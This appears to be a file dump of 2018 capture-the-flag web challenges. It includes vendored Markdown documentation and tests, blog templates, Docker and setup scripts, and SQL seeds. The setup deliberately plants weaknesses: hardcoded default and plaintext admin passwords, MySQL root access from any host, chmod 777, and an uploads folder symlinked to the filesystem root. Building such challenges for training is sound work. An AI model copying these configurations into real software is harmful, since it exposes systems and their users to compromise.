each paragraph in which they're used, but if you want, you can put them all at the end of your document, sort of like footnotes. Here's an example of reference links in action: I get 10 times more traffic from [Google] [1] than from [Yahoo] [2] or [MSN] [3]. [1]: http://google.com/ "Google" [2]: http://search.yahoo.com/ "Yahoo Search" [3]: http://search.msn.com/ "MSN Search" Using the implicit link name shortcut, you could instead write: I get 10 times more traffic from [Google][] than from [Yahoo][] or [MSN][]. [google]: http://google.com/ "Google" [yahoo]: http://search.yahoo.com/ "Yahoo Search" [msn]: http://search.msn.com/ "MSN Search" Both of the above examples will produce the following HTML output:

      I get 10 times more traffic from Google than from Yahoo or MSN.

      For comparison, here is the same paragraph written using Markdown's inline link style: I get 10 times more traffic from [Google](http://google.com/ "Google") than from [Yahoo](http://search.yahoo.com/ "Yahoo Search") or [MSN](http://search.msn.com/ "MSN Search"). The point of reference-style links is not that they're easier to write. The point is that with reference-style links, your document source is vastly more readable. Compare the above examples: using reference-style links, the paragraph itself is only 81 characters long; with inline-style links, it's 176 characters; and as raw HTML, it's 234 characters. In the raw HTML, there's more markup than there is text. With Markdown's reference-style links, a source document much more closely resembles the final output, as rendered in a browser. By allowing you to move the markup-related metadata out of the paragraph, you can add links without interrupting the narrative flow of your prose.

      Emphasis

      Markdown treats asterisks (`*`) and underscores (`_`) as indicators of emphasis. Text wrapped with one `*` or `_` will be wrapped with an HTML `` tag; double `*`'s or `_`'s will be wrapped with an HTML `` tag. E.g., this input: *single asterisks* _single underscores_ **double asterisks** __double underscores__ will produce: single asterisks single underscores double asterisks double underscores You can use whichever style you prefer; the lone restriction is that the same character must be used to open and close an emphasis span. Emphasis can be used in the middle of a word: un*fucking*believable But if you surround an `*` or `_` with spaces, it'll be treated as a literal asterisk or underscore. To produce a literal asterisk or underscore at a position where it would otherwise be used as an emphasis delimiter, you can backslash escape it: \*this text is surrounded by literal asterisks\*

      Code

      To indicate a span of code, wrap it with backtick quotes (`` ` ``). Unlike a pre-formatted code block, a code span indicates code within a normal paragraph. For example: Use the `printf()` function. will produce:

      Use the printf() function.

      To include a literal backtick character within a code span, you can use multiple backticks as the opening and closing delimiters: ``There is a literal backtick (`) here.`` which will produce this:

      There is a literal backtick (`) here.

      The backtick delimiters surrounding a code span may include spaces -- one after the opening, one before the closing. This allows you to place literal backtick characters at the beginning or end of a code span: A single backtick in a code span: `` ` `` A backtick-delimited string in a code span: `` `foo` `` will produce:

      A single backtick in a code span: `

      A backtick-delimited string in a code span: `foo`

      With a code span, ampersands and angle brackets are encoded as HTML entities automatically, which makes it easy to include example HTML tags. Markdown will turn this: Please don't use any `` tags. into:

      Please don't use any <blink> tags.

      You can write this: `—` is the decimal-encoded equivalent of `—`. to produce:

      &#8212; is the decimal-encoded equivalent of &mdash;.

      Images

      Admittedly, it's fairly difficult to devise a "natural" syntax for placing images into a plain text document format. Markdown uses an image syntax that is intended to resemble the syntax for links, allowing for two styles: *inline* and *reference*. Inline image syntax looks like this: ![Alt text](/path/to/img.jpg) ![Alt text](/path/to/img.jpg "Optional title") That is: * An exclamation mark: `!`; * followed by a set of square brackets, containing the `alt` attribute text for the image; * followed by a set of parentheses, containing the URL or path to the image, and an optional `title` attribute enclosed in double or single quotes. Reference-style image syntax looks like this: ![Alt text][id] Where "id" is the name of a defined image reference. Image references are defined using syntax identical to link references: [id]: url/to/image "Optional title attribute" As of this writing, Markdown has no syntax for specifying the dimensions of an image; if this is important to you, you can simply use regular HTML `` tags. * * *

      Miscellaneous

      Markdown supports a shortcut style for creating "automatic" links for URLs and email addresses: simply surround the URL or email address with angle brackets. What this means is that if you want to show the actual text of a URL or email address, and also have it be a clickable link, you can do this: Markdown will turn this into: http://example.com/ Automatic links for email addresses work similarly, except that Markdown will also perform a bit of randomized decimal and hex entity-encoding to help obscure your address from address-harvesting spambots. For example, Markdown will turn this: into something like this: address@exa mple.com which will render in a browser as a clickable link to "address@example.com". (This sort of entity-encoding trick will indeed fool many, if not most, address-harvesting bots, but it definitely won't fool all of them. It's better than nothing, but an address published in this way will probably eventually start receiving spam.)

      Backslash Escapes

      Markdown allows you to use backslash escapes to generate literal characters which would otherwise have special meaning in Markdown's formatting syntax. For example, if you wanted to surround a word with literal asterisks (instead of an HTML `` tag), you can backslashes before the asterisks, like this: \*literal asterisks\* Markdown provides backslash escapes for the following characters: \ backslash ` backtick * asterisk _ underscore {} curly braces [] square brackets () parentheses # hash mark + plus sign - minus sign (hyphen) . dot ! exclamation mark ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Nested blockquotes.html ================================================

      foo

      bar

      foo

      ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Nested blockquotes.text ================================================ > foo > > > bar > > foo ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Ordered and unordered lists.html ================================================

      Unordered

      Asterisks tight:

      • asterisk 1
      • asterisk 2
      • asterisk 3

      Asterisks loose:

      • asterisk 1

      • asterisk 2

      • asterisk 3


      Pluses tight:

      • Plus 1
      • Plus 2
      • Plus 3

      Pluses loose:

      • Plus 1

      • Plus 2

      • Plus 3


      Minuses tight:

      • Minus 1
      • Minus 2
      • Minus 3

      Minuses loose:

      • Minus 1

      • Minus 2

      • Minus 3

      Ordered

      Tight:

      1. First
      2. Second
      3. Third

      and:

      1. One
      2. Two
      3. Three

      Loose using tabs:

      1. First

      2. Second

      3. Third

      and using spaces:

      1. One

      2. Two

      3. Three

      Multiple paragraphs:

      1. Item 1, graf one.

        Item 2. graf two. The quick brown fox jumped over the lazy dog's back.

      2. Item 2.

      3. Item 3.

      Nested

      • Tab
        • Tab
          • Tab

      Here's another:

      1. First
      2. Second:
        • Fee
        • Fie
        • Foe
      3. Third

      Same thing but with paragraphs:

      1. First

      2. Second:

        • Fee
        • Fie
        • Foe
      3. Third

      This was an error in Markdown 1.0.1:

      • this

        • sub

        that

      ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Ordered and unordered lists.text ================================================ ## Unordered Asterisks tight: * asterisk 1 * asterisk 2 * asterisk 3 Asterisks loose: * asterisk 1 * asterisk 2 * asterisk 3 * * * Pluses tight: + Plus 1 + Plus 2 + Plus 3 Pluses loose: + Plus 1 + Plus 2 + Plus 3 * * * Minuses tight: - Minus 1 - Minus 2 - Minus 3 Minuses loose: - Minus 1 - Minus 2 - Minus 3 ## Ordered Tight: 1. First 2. Second 3. Third and: 1. One 2. Two 3. Three Loose using tabs: 1. First 2. Second 3. Third and using spaces: 1. One 2. Two 3. Three Multiple paragraphs: 1. Item 1, graf one. Item 2. graf two. The quick brown fox jumped over the lazy dog's back. 2. Item 2. 3. Item 3. ## Nested * Tab * Tab * Tab Here's another: 1. First 2. Second: * Fee * Fie * Foe 3. Third Same thing but with paragraphs: 1. First 2. Second: * Fee * Fie * Foe 3. Third This was an error in Markdown 1.0.1: * this * sub that ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Strong and em together.html ================================================

      This is strong and em.

      So is this word.

      This is strong and em.

      So is this word.

      ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Strong and em together.text ================================================ ***This is strong and em.*** So is ***this*** word. ___This is strong and em.___ So is ___this___ word. ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Tabs.html ================================================
      • this is a list item indented with tabs

      • this is a list item indented with spaces

      Code:

      this code block is indented by one tab
      

      And:

          this code block is indented by two tabs
      

      And:

      +   this is an example list item
          indented with tabs
      
      +   this is an example list item
          indented with spaces
      
      ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Tabs.text ================================================ + this is a list item indented with tabs + this is a list item indented with spaces Code: this code block is indented by one tab And: this code block is indented by two tabs And: + this is an example list item indented with tabs + this is an example list item indented with spaces ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Tidyness.html ================================================

      A list within a blockquote:

      • asterisk 1
      • asterisk 2
      • asterisk 3
      ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref/Tidyness.text ================================================ > A list within a blockquote: > > * asterisk 1 > * asterisk 2 > * asterisk 3 ================================================ FILE: web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/upskirtref_test.go ================================================ // // Blackfriday Markdown Processor // Available at http://github.com/russross/blackfriday // // Copyright © 2011 Russ Ross . // Distributed under the Simplified BSD License. // See README.md for details. // // // Markdown 1.0.3 reference tests // package blackfriday import ( "io/ioutil" "path/filepath" "testing" ) func runMarkdownReference(input string, flag int) string { renderer := HtmlRenderer(0, "", "") return string(Markdown([]byte(input), renderer, flag)) } func doTestsReference(t *testing.T, files []string, flag int) { // catch and report panics var candidate string defer func() { if err := recover(); err != nil { t.Errorf("\npanic while processing [%#v]\n", candidate) } }() for _, basename := range files { filename := filepath.Join("upskirtref", basename+".text") inputBytes, err := ioutil.ReadFile(filename) if err != nil { t.Errorf("Couldn't open '%s', error: %v\n", filename, err) continue } input := string(inputBytes) filename = filepath.Join("upskirtref", basename+".html") expectedBytes, err := ioutil.ReadFile(filename) if err != nil { t.Errorf("Couldn't open '%s', error: %v\n", filename, err) continue } expected := string(expectedBytes) actual := string(runMarkdownReference(input, flag)) if actual != expected { t.Errorf("\n [%#v]\nExpected[%#v]\nActual [%#v]", basename+".text", expected, actual) } // now test every prefix of every input to check for // bounds checking if !testing.Short() { start := 0 for end := start + 1; end <= len(input); end++ { candidate = input[start:end] _ = runMarkdownReference(candidate, flag) } } } } func TestReference(t *testing.T) { files := []string{ "Amps and angle encoding", "Auto links", "Backslash escapes", "Blockquotes with code blocks", "Code Blocks", "Code Spans", "Hard-wrapped paragraphs with list-like lines", "Horizontal rules", "Inline HTML (Advanced)", "Inline HTML (Simple)", "Inline HTML comments", "Links, inline style", "Links, reference style", "Links, shortcut references", "Literal quotes in titles", "Markdown Documentation - Basics", "Markdown Documentation - Syntax", "Nested blockquotes", "Ordered and unordered lists", "Strong and em together", "Tabs", "Tidyness", } doTestsReference(t, files, 0) } func TestReference_EXTENSION_NO_EMPTY_LINE_BEFORE_BLOCK(t *testing.T) { files := []string{ "Amps and angle encoding", "Auto links", "Backslash escapes", "Blockquotes with code blocks", "Code Blocks", "Code Spans", "Hard-wrapped paragraphs with list-like lines no empty line before block", "Horizontal rules", "Inline HTML (Advanced)", "Inline HTML (Simple)", "Inline HTML comments", "Links, inline style", "Links, reference style", "Links, shortcut references", "Literal quotes in titles", "Markdown Documentation - Basics", "Markdown Documentation - Syntax", "Nested blockquotes", "Ordered and unordered lists", "Strong and em together", "Tabs", "Tidyness", } doTestsReference(t, files, EXTENSION_NO_EMPTY_LINE_BEFORE_BLOCK) } ================================================ FILE: web_gotsctf2018/gotsctf2018/views/article/add.html ================================================
      ================================================ FILE: web_gotsctf2018/gotsctf2018/views/article/by_catalog.html ================================================
      {{range .Blogs}}

      {{.Views}}
      {{.Content.HTMLContent}}...
      {{end}}
      {{template "inc/paginator.html" .}} ================================================ FILE: web_gotsctf2018/gotsctf2018/views/article/draft.html ================================================ {{range .Blogs}} {{.Title}}
      {{end}} ================================================ FILE: web_gotsctf2018/gotsctf2018/views/article/edit.html ================================================
      ================================================ FILE: web_gotsctf2018/gotsctf2018/views/article/read.html ================================================

      {{.Blog.Views}}
      {{str2html .Content}}
      ================================================ FILE: web_gotsctf2018/gotsctf2018/views/catalog/add.html ================================================
      ================================================ FILE: web_gotsctf2018/gotsctf2018/views/catalog/edit.html ================================================
      后台如果发现没有选择新的图片文件,就会使用原来的图片,不用担心丢失
      ================================================ FILE: web_gotsctf2018/gotsctf2018/views/inc/paginator.html ================================================ {{if gt .paginator.PageNums 1}}
        {{if .paginator.HasPrev}}
      • 首页
      • <
      • {{else}}
      • 首页
      • <
      • {{end}} {{range $index, $page := .paginator.Pages}} {{$page}} {{end}} {{if .paginator.HasNext}}
      • >
      • 尾页
      • {{else}}
      • >
      • 尾页
      • {{end}}
      {{end}} ================================================ FILE: web_gotsctf2018/gotsctf2018/views/index.html ================================================
      {{range .Catalogs}}
      {{.Name}}

      {{.Name}}

      {{.Resume}} {{if $.IsAdmin}}

      {{end}}

      {{end}}
      ================================================ FILE: web_gotsctf2018/gotsctf2018/views/layout/admin.html ================================================ 后台管理 - {{.BlogTitle}}
      {{.LayoutContent}}
      ================================================ FILE: web_gotsctf2018/gotsctf2018/views/layout/default.html ================================================ {{.PageTitle}} - {{.BlogTitle}}
      {{.LayoutContent}}
      TSCTF-Blog
      May 2018
      Modified for TSCTF
      by Henryzhao.
      ================================================ FILE: web_gotsctf2018/gotsctf2018/views/login/login.html ================================================ Login
      Login
      ================================================ FILE: web_gotsctf2018/gotsctf2018/views/me/default.html ================================================ 这是后台页面 ================================================ FILE: web_gotsctf2018/motd ================================================ ____ ___ _____ ____ ____ _____ _____ ____ ___ _ ___ / ___|/ _ \_ _/ ___| / ___|_ _| ___|___ \ / _ \/ |( _ ) | | _| | | || | \___ \| | | | | |_ __) | | | | |/ _ \ | |_| | |_| || | ___) | |___ | | | _| / __/| |_| | | (_) | \____|\___/ |_| |____/ \____| |_| |_| |_____|\___/|_|\___/ Wow, such go! ================================================ FILE: web_gotsctf2018/my.cnf ================================================ [mysqld] user = root datadir = /app/mysql port = 3306 ================================================ FILE: web_gotsctf2018/run.sh ================================================ #!/bin/sh chmod 777 /tmp/ if [ -d /app/mysql ]; then echo "[i] MySQL directory already present, skipping creation" else if [ "$CTF_USER_PASSWORD" = "" ]; then CTF_USER_PASSWORD=moxiaoxi666 echo "ctf:$CTF_USER_PASSWORD" | chpasswd echo "[i] ctf user Password: $CTF_USER_PASSWORD" fi ssh-keygen -A echo "[i] MySQL data directory not found, creating initial DBs" mysql_install_db --user=root > /dev/null if [ "$MYSQL_ROOT_PASSWORD" = "" ]; then MYSQL_ROOT_PASSWORD=111111 echo "[i] MySQL root Password: $MYSQL_ROOT_PASSWORD" fi MYSQL_DATABASE="" MYSQL_USER="" MYSQL_PASSWORD="" if [ ! -d "/run/mysqld" ]; then mkdir -p /run/mysqld fi tfile=`mktemp` if [ ! -f "$tfile" ]; then return 1 fi cat << EOF > $tfile USE mysql; FLUSH PRIVILEGES; GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY "$MYSQL_ROOT_PASSWORD" WITH GRANT OPTION; GRANT ALL PRIVILEGES ON *.* TO 'root'@'localhost' WITH GRANT OPTION; UPDATE user SET password=PASSWORD("") WHERE user='root' AND host='localhost'; EOF cat /go/src/gotsctf2018/gotsctf.sql >> $tfile if [ "$MYSQL_DATABASE" != "" ]; then echo "[i] Creating database: $MYSQL_DATABASE" echo "CREATE DATABASE IF NOT EXISTS \`$MYSQL_DATABASE\` CHARACTER SET utf8 COLLATE utf8_general_ci;" >> $tfile if [ "$MYSQL_USER" != "" ]; then echo "[i] Creating user: $MYSQL_USER with password $MYSQL_PASSWORD" echo "GRANT ALL ON \`$MYSQL_DATABASE\`.* to '$MYSQL_USER'@'%' IDENTIFIED BY '$MYSQL_PASSWORD';" >> $tfile fi fi /usr/bin/mysqld --user=root --bootstrap --verbose=0 < $tfile rm -f $tfile fi /usr/bin/mysqld --user=root & /usr/sbin/sshd bash -c 'cd /go/src/gotsctf2018 && sleep 5 && sudo -u ctf GOPATH="/go" bee run ' & rm -rf /go/src/gotsctf2018/static/uploads ln -s ../../ /go/src/gotsctf2018/static/uploads chmod 777 /go/src/gotsctf2018/static/uploads chmod 755 /go/src/gotsctf2018 ln -s /go/src/gotsctf2018/flag /flag python /tmp/flag.py & 2>&1 1>/dev/null sleep 2 rm -rf /tmp exec /bin/bash ================================================ FILE: web_javatsctf2018/debug.sh ================================================ #!/bin/sh cp run.sh tmp/ cp flag.py tmp/ docker run -p 8080:8080 -p 2201:22 -v /var/lib/mysql -v `pwd`/tmp:/tmp -v `pwd`/javatsctf2018:/opt/source/ -ti wulasite/jmmt:latest /tmp/run.sh ================================================ FILE: web_javatsctf2018/docker-compose.yml ================================================ version: "3" services: web: container_name: jmmt image: wulasite/jmmt:latest ports: - 8080:8080 volumes: - ./source.zip:/opt/source.zip - ./run.sh:/opt/run.sh command: - /opt/run.sh ================================================ FILE: web_javatsctf2018/docker.sh ================================================ #!/bin/sh cp run.sh tmp/ cp flag.py tmp/ docker run -p {out_port}:8080 -p {ssh_port}:22 -v /var/lib/mysql -v `pwd`/tmp:/tmp -v `pwd`/javatsctf2018:/opt/source/ -d --name {team_name} -ti wulasite/jmmt:latest /tmp/run.sh ================================================ FILE: web_javatsctf2018/javatsctf2018/chapter2.sql ================================================ /* Navicat MySQL Data Transfer Source Server : 本地MySQL Source Server Version : 50711 Source Host : localhost:3306 Source Database : chapter2 Target Server Type : MYSQL Target Server Version : 50711 File Encoding : 65001 Date: 2018-05-02 21:51:10 */ SET FOREIGN_KEY_CHECKS=0; -- ---------------------------- -- Table structure for profile -- ---------------------------- DROP TABLE IF EXISTS `profile`; CREATE TABLE `profile` ( `id` int(11) NOT NULL AUTO_INCREMENT, `user_id` int(11) NOT NULL, `name` varchar(255) COLLATE utf8_bin DEFAULT NULL, `gender` varchar(255) COLLATE utf8_bin DEFAULT NULL, `birthday` varchar(255) COLLATE utf8_bin DEFAULT NULL, `province` varchar(255) COLLATE utf8_bin DEFAULT NULL, `nation` varchar(255) COLLATE utf8_bin DEFAULT NULL, `politics_status` varchar(255) COLLATE utf8_bin DEFAULT NULL, `IDnumber` varchar(255) COLLATE utf8_bin DEFAULT NULL, `type` varchar(255) COLLATE utf8_bin DEFAULT NULL, `school` varchar(255) COLLATE utf8_bin DEFAULT NULL, `grade` varchar(255) COLLATE utf8_bin DEFAULT NULL, `address` varchar(255) COLLATE utf8_bin DEFAULT NULL, `postcode` varchar(255) COLLATE utf8_bin DEFAULT NULL, `phone` varchar(255) COLLATE utf8_bin DEFAULT NULL, `height` int(11) DEFAULT NULL, `weight` int(11) DEFAULT NULL, `mail` varchar(255) COLLATE utf8_bin DEFAULT NULL, `father_name` varchar(255) COLLATE utf8_bin DEFAULT NULL, `father_job` varchar(255) COLLATE utf8_bin DEFAULT NULL, `father_phone` varchar(255) COLLATE utf8_bin DEFAULT NULL, `mother_name` varchar(255) COLLATE utf8_bin DEFAULT NULL, `mother_job` varchar(255) COLLATE utf8_bin DEFAULT NULL, `mother_phone` varchar(255) COLLATE utf8_bin DEFAULT NULL, `hobby` varchar(255) COLLATE utf8_bin DEFAULT NULL, `description` varchar(255) COLLATE utf8_bin DEFAULT NULL, `photo` varchar(255) COLLATE utf8_bin DEFAULT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB AUTO_INCREMENT=152 DEFAULT CHARSET=utf8 COLLATE=utf8_bin; -- ---------------------------- -- Records of profile -- ---------------------------- -- ---------------------------- -- Table structure for user -- ---------------------------- DROP TABLE IF EXISTS `user`; CREATE TABLE `user` ( `id` int(11) NOT NULL AUTO_INCREMENT, `username` varchar(255) COLLATE utf8_bin NOT NULL, `password` varchar(255) COLLATE utf8_bin NOT NULL, `email` varchar(255) COLLATE utf8_bin NOT NULL, `salt` varchar(255) COLLATE utf8_bin DEFAULT NULL, `head_url` varchar(255) COLLATE utf8_bin DEFAULT NULL, `score` int(11) DEFAULT NULL, `checkcode` varchar(255) COLLATE utf8_bin DEFAULT NULL, `time` varchar(255) COLLATE utf8_bin DEFAULT NULL, `first` int(11) unsigned zerofill DEFAULT NULL, `pdd` varchar(255) COLLATE utf8_bin NOT NULL, PRIMARY KEY (`id`) ) ENGINE=InnoDB AUTO_INCREMENT=336 DEFAULT CHARSET=utf8 COLLATE=utf8_bin; -- ---------------------------- -- Records of user buptctfadmin/admin123 -- ---------------------------- INSERT INTO `user` VALUES ('1', 'buptctfadmin', '556E04CCEFB0021A3242E30CF2346AB0', '@bupt.edu.cn', 'FB4D9BA04997C752656A06', null, null, null, null, '00000000002', 'admin123'); ================================================ FILE: web_javatsctf2018/javatsctf2018/charpter2.iml ================================================ ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/antlr/antlr/2.7.2/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:05:08 CST 2018 antlr-2.7.2.jar>central= antlr-2.7.2.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/antlr/antlr/2.7.2/antlr-2.7.2.jar.sha1 ================================================ 546b5220622c4d9b2da45ad1899224b6ce1c8830 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/antlr/antlr/2.7.2/antlr-2.7.2.pom ================================================ 4.0.0 antlr antlr 2.7.2 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/antlr/antlr/2.7.2/antlr-2.7.2.pom.sha1 ================================================ 60b2b206af3df735765e8e284396bcfdbced5665 /home/projects/maven/repository-staging/to-ibiblio/maven2/antlr/antlr/2.7.2/antlr-2.7.2.pom ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/aopalliance/aopalliance/1.0/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:04 CST 2018 aopalliance-1.0.pom>central= aopalliance-1.0.jar>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/aopalliance/aopalliance/1.0/aopalliance-1.0.jar.sha1 ================================================ 0235ba8b489512805ac13a8f9ea77a1ca5ebe3e8 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/aopalliance/aopalliance/1.0/aopalliance-1.0.pom ================================================ 4.0.0 aopalliance aopalliance AOP alliance 1.0 AOP Alliance http://aopalliance.sourceforge.net Public Domain ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/aopalliance/aopalliance/1.0/aopalliance-1.0.pom.sha1 ================================================ 5128a2b0efbba460a1178d07773618e0986ea152 aopalliance-1.0.pom ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/avalon-framework/avalon-framework/4.1.3/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 11:01:21 CST 2018 avalon-framework-4.1.3.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/avalon-framework/avalon-framework/4.1.3/avalon-framework-4.1.3.pom ================================================ 4.0.0 avalon-framework avalon-framework 4.1.3 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/avalon-framework/avalon-framework/4.1.3/avalon-framework-4.1.3.pom.sha1 ================================================ 853c9df18e44caf0bab1eab8be0d482f9ec9bcd7 /home/projects/maven/repository-staging/to-ibiblio/maven2/avalon-framework/avalon-framework/4.1.3/avalon-framework-4.1.3.pom ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/backport-util-concurrent/backport-util-concurrent/3.1/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:58:19 CST 2018 backport-util-concurrent-3.1.jar>central= backport-util-concurrent-3.1.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/backport-util-concurrent/backport-util-concurrent/3.1/backport-util-concurrent-3.1.jar.sha1 ================================================ 682f7ac17fed79e92f8e87d8455192b63376347b /home/maven/repository-staging/to-ibiblio/maven2/backport-util-concurrent/backport-util-concurrent/3.1/backport-util-concurrent-3.1.jar ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/backport-util-concurrent/backport-util-concurrent/3.1/backport-util-concurrent-3.1.pom ================================================ 4.0.0 backport-util-concurrent backport-util-concurrent 3.1 jar Backport of JSR 166 http://backport-jsr166.sourceforge.net/ Dawid Kurzyniec's backport of JSR 166 Public Domain http://creativecommons.org/licenses/publicdomain repo svn://dcl.mathcs.emory.edu/software/harness2/trunk/util/backport-util-concurrent/ Dawid Kurzyniec http://www.mathcs.emory.edu/~dawidk/ ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/backport-util-concurrent/backport-util-concurrent/3.1/backport-util-concurrent-3.1.pom.sha1 ================================================ 24aa8f29c14d1c63225caa6ad5328f1f7a2497a8 /home/maven/repository-staging/to-ibiblio/maven2/backport-util-concurrent/backport-util-concurrent/3.1/backport-util-concurrent-3.1.pom ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/classworlds/classworlds/1.1/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:32 CST 2018 classworlds-1.1.jar>central= classworlds-1.1.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/classworlds/classworlds/1.1/classworlds-1.1.jar.sha1 ================================================ 60c708f55deeb7c5dfce8a7886ef09cbc1388eca ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/classworlds/classworlds/1.1/classworlds-1.1.pom ================================================ 4.0.0 classworlds classworlds classworlds 1.1 http://classworlds.codehaus.org/
      classworlds-scm@lists.codehaus.org
      2002 classworlds users http://lists.codehaus.org/mailman/listinfo/classworlds-user http://lists.codehaus.org/mailman/listinfo/classworlds-user http://lists.codehaus.org/pipermail/classworlds-user/ classworlds developers http://lists.codehaus.org/mailman/listinfo/classworlds-dev http://lists.codehaus.org/mailman/listinfo/classworlds-dev http://lists.codehaus.org/pipermail/classworlds-dev/ classworlds commit messages http://lists.codehaus.org/mailman/listinfo/classworlds-scm http://lists.codehaus.org/mailman/listinfo/classworlds-scm http://lists.codehaus.org/pipermail/classworlds-scm/ bob bob mcwhirter bob@werken.com The Werken Company Founder jvanzyl Jason van Zyl jason@zenplex.com Zenplex Developer bwalding Ben Walding ben@walding.com Walding Consulting Services Developer scm:cvs:pserver:anonymous@cvs.classworlds.codehaus.org:/home/projects/classworlds/scm/:classworlds scm:cvs:ext:brett@cvs.classworlds.codehaus.org:/home/projects/classworlds/scm/:classworlds http://cvs.classworlds.codehaus.org/ The Codehaus http://codehaus.org/ src/java/main src/java/test surefire **/*Test.java default Default Site scp://classworlds.codehaus.org//www/classworlds.codehaus.org
      ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/classworlds/classworlds/1.1/classworlds-1.1.pom.sha1 ================================================ 4703c4199028094698c222c17afea6dcd9f04999 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/classworlds/classworlds/1.1-alpha-2/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:59:40 CST 2018 classworlds-1.1-alpha-2.jar>central= classworlds-1.1-alpha-2.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/classworlds/classworlds/1.1-alpha-2/classworlds-1.1-alpha-2.jar.sha1 ================================================ 05adf2e681c57d7f48038b602f3ca2254ee82d47 ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/classworlds/classworlds/1.1-alpha-2/classworlds-1.1-alpha-2.pom ================================================ 4.0.0 classworlds classworlds classworlds 1.1-alpha-2 http://classworlds.codehaus.org/
      classworlds-scm@lists.codehaus.org
      2002 classworlds users http://lists.codehaus.org/mailman/listinfo/classworlds-user http://lists.codehaus.org/mailman/listinfo/classworlds-user http://lists.codehaus.org/pipermail/classworlds-user/ classworlds developers http://lists.codehaus.org/mailman/listinfo/classworlds-dev http://lists.codehaus.org/mailman/listinfo/classworlds-dev http://lists.codehaus.org/pipermail/classworlds-dev/ classworlds commit messages http://lists.codehaus.org/mailman/listinfo/classworlds-scm http://lists.codehaus.org/mailman/listinfo/classworlds-scm http://lists.codehaus.org/pipermail/classworlds-scm/ bob bob mcwhirter bob@werken.com The Werken Company Founder jvanzyl Jason van Zyl jason@zenplex.com Zenplex Developer bwalding Ben Walding ben@walding.com Walding Consulting Services Developer scm:cvs:pserver:anonymous@cvs.codehaus.org:/scm/cvspublic/:classworlds http://cvs.classworlds.codehaus.org/ The Codehaus http://codehaus.org/ src/java/main src/java/test maven-surefire-plugin **/*Test.java default Default Site scp://classworlds.codehaus.org//www/classworlds.codehaus.org
      ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/classworlds/classworlds/1.1-alpha-2/classworlds-1.1-alpha-2.pom.sha1 ================================================ 8c8ad6a96a8c1168f8b12ec8a227b8261b160b26 /home/projects/maven/repository-staging/to-ibiblio/maven2/classworlds/classworlds/1.1-alpha-2/classworlds-1.1-alpha-2.pom ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/com/alibaba/druid/0.2.23/_remote.repositories ================================================ #NOTE: This is an Aether internal implementation file, its format can be changed without prior notice. #Sat Jun 02 10:57:04 CST 2018 druid-0.2.23.jar>central= druid-0.2.23.pom>central= ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/com/alibaba/druid/0.2.23/druid-0.2.23.jar.sha1 ================================================ 66d2888a133149bbadddb1d9beaa0f0cc597a93c ================================================ FILE: web_javatsctf2018/javatsctf2018/maven-repository/com/alibaba/druid/0.2.23/druid-0.2.23.pom ================================================ 4.0.0 com.alibaba druid 0.2.23 jar druid An JDBC datasource implementation. https://github.com/AlibabaTech/druid 2012 3.1.1.RELEASE 4.11 false false UTF-8 1.6 local-file file://${basedir}/lib/ default opensesame dav:http://code.alibabatech.com/mvn/releases/ opensesame dav:http://code.alibabatech.com/mvn/snapshots/ wenshao wenshao szujobs@hotmail.com https://wenshao@github.com/AlibabaTech/druid.git scm:git:https://wenshao@github.com/AlibabaTech/druid.git Alibaba Group http://code.alibabatech.com/ Apache 2 http://www.apache.org/licenses/LICENSE-2.0.txt repo A business-friendly OSS license Jira http://code.alibabatech.com/jira/browse/DRUID org.apache.maven.wagon wagon-webdav 1.0-beta-2 